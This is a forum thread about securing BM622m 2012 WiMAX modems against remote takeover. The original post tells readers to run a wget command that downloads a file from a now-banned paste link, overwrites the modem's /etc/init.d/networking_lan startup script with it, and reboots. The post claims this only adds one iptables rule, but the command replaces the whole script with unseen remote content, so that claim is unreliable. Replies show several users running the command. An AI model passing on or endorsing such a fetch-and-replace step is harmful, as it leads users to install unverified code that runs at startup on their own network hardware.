IMPORTANT: bm622m 2012 https protection

[rohan_schimmer]

bookmarked

 

[xvhinz24x]

I wanted to make a separate thread to remind everyone to protect their modems! So far the methods of protection posted only do things like hide/mask the mac or change passwords. This cannot protect you against the new backdoor I revealed yesterday in this thread: http://www.symbianize.com/showthread.php?t=1162514

Even if you disable httpsd from the ACL menu it's still enabled! This means you can be easily remoted even if you use the basic protection methods I mentioned before. But I have a solution for this, make sure you are connected to the internet, then connect on telnet or ssh and run these two commands:

wget http://*** BANNED LINK - DO NOT POST ***/raw.php?i=T3qSMCab -O /etc/init.d/networking_lan
reboot

When you are done it should look like this:

http://i6.minus.com/jpAdOmaTxpYgR.png

If you ran these two commands successfully your modem will reboot and the protection will be enabled, nothing else needs to be done!

Running these commands adds one line to this init.d script on your modem, this line:

iptables -A INPUT -p tcp --dport 443 -j REJECT

This rejects incoming connections on port 443, keeping your modem safe from remoters. You still need to make sure everything else (80, 22, 23) is disabled. Good luck!

TS.. nagawa ko na po ito.. Kahit po ba bigla magrestart ang modem or bigla mamatay due to power interruption, naka encode na po ang command na ito sa init script ng modem at dina mawawala? I am asking this to make sure if i still need to do this command every power on of modem. Thanks po.

 

[harrisdapogi]

Hi hi2u,

Some questions, how do I check if the fix was successfully run and the appropriate command was inserted on my modem so that port 443 is blocked?
Also, if I would like to block ports 80, 23, and 22, do I just add these commands after: iptables -A INPUT -p tcp --dport 443 -j REJECT

iptables -A INPUT -p tcp --dport 80 -j REJECT
iptables -A INPUT -p tcp --dport 23 -j REJECT
iptables -A INPUT -p tcp --dport 22 -j REJECT

Sorry, I am not a programmer but I want to make sure that my BM622m 2012 is protected. I had it remoted a couple of times already and I feel so vulnerable.

Thanks for the help!

Harris

 

[pat3kgo]

salamat d2 TS!

 

[ennz]

kaka revive ko lang ng 22m ko s pagka remote hehe, thanks dito ts try ko to sana ok n ok to